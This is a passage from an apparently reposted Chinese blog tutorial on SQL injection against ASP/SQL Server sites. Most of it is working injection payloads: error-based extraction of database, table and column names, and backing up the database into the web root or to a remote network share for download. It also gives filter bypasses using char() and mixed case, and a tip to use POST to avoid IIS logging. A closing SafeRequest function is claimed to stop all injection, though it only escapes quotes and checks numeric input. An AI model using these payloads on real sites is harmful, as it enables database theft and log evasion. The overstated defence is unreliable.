				</a>
				<font size="2">and db_name()&gt;0</font>
		</p>
		<p>
				<font size="2">前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</font>
		</p>
		<p>
				<font size="2">④ </font>
				<a href="http://site/url.asp?id=1;backup">
						<font size="2">http://Site/url.asp?id=1;backup</font>
				</a>
				<font size="2">database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--</font>
		</p>
		<p>
				<font size="2">这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如</font>
				<a href="file://202.96.xx.xx/Share/1.db">
						<font size="2">\\202.96.xx.xx\Share\1.db</font>
				</a>
				<font size="2">），但成功率不高。</font>
		</p>
		<p>
				<font size="2">　　⑤ </font>
				<a href="http://site/url.asp?id=1">
						<font size="2">http://Site/url.asp?id=1</font>
				</a>
				<font size="2">and (Select Top 1 name from sysobjects where xtype='U' and status&gt;0)&gt;0</font>
		</p>
		<p>
				<font size="2">前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。</font>
		</p>
		<p>
				<font size="2">⑥ </font>
				<a href="http://site/url.asp?id=1">
						<font size="2">http://Site/url.asp?id=1</font>
				</a>
				<font size="2">and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)&gt;0</font>
		</p>
		<p>
				<font size="2">从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。</font>
		</p>
		<p>
				<font size="2"> 　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</font>
		</p>
		<p>
				<font size="2">第二节、绕过程序限制继续注入</font>
		</p>
		<p>
				<font size="2">在入门篇提到，有很多人喜欢用'号测试注入漏洞，所以也有很多人用过滤'号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对SQL注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</font>
		</p>
		<p>
				<font size="2">在“SQL注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有'号，我们举个例子来看看怎么改造这些语句：</font>
		</p>
		<p>
				<font size="2">简单的如where xtype='U'，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name='用户'，可以用where name=nchar(29992)+nchar(25143)代替。</font>
		</p>
		<p>
				<font size="2">第三节、经验小结</font>
		</p>
		<p>
				<font size="2">1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。</font>
		</p>
		<p>
				<font size="2">2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</font>
		</p>
		<p>
				<font size="2">3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。</font>
		</p>
		<p>
				<font size="2">4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。</font>
		</p>
		<p>
				<font size="2">5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</font>
		</p>
		<p>
				<font size="2">防 范 方 法</font>
		</p>
		<p>
				<font size="2">SQL注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：</font>
		</p>
		<p>
				<font size="2">Function SafeRequest(ParaName,ParaType)<br />       '--- 传入参数 ---<br />       'ParaName:参数名称-字符型<br />       'ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)</font>
		</p>
		<p>
				<font size="2">       Dim Paravalue<br />       Paravalue=Request(ParaName)<br />       If ParaType=1 then<br />              If not isNumeric(Paravalue) then<br />                     Response.write "参数" &amp; ParaName &amp; "必须为数字型！"<br />                     Response.end<br />              End if<br />       Else<br />              Paravalue=replace(Paravalue,"'","''")<br />       End if<br />       SafeRequest=Paravalue<br />End function</font>
		</p>
		<p>
				<font size="2">文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助。<br />摘自：<a id="ArticleContent1_ArticleContent1_AuthorBlogLink" href="http://blog.csdn.net/digituser/" target="_blank">http://blog.csdn.net/digituser/</a></font>
		</p>
<img src ="http://www.blogjava.net/freebird/aggbug/60905.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2006-07-30 23:06 <a href="http://www.blogjava.net/freebird/archive/2006/07/30/60905.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>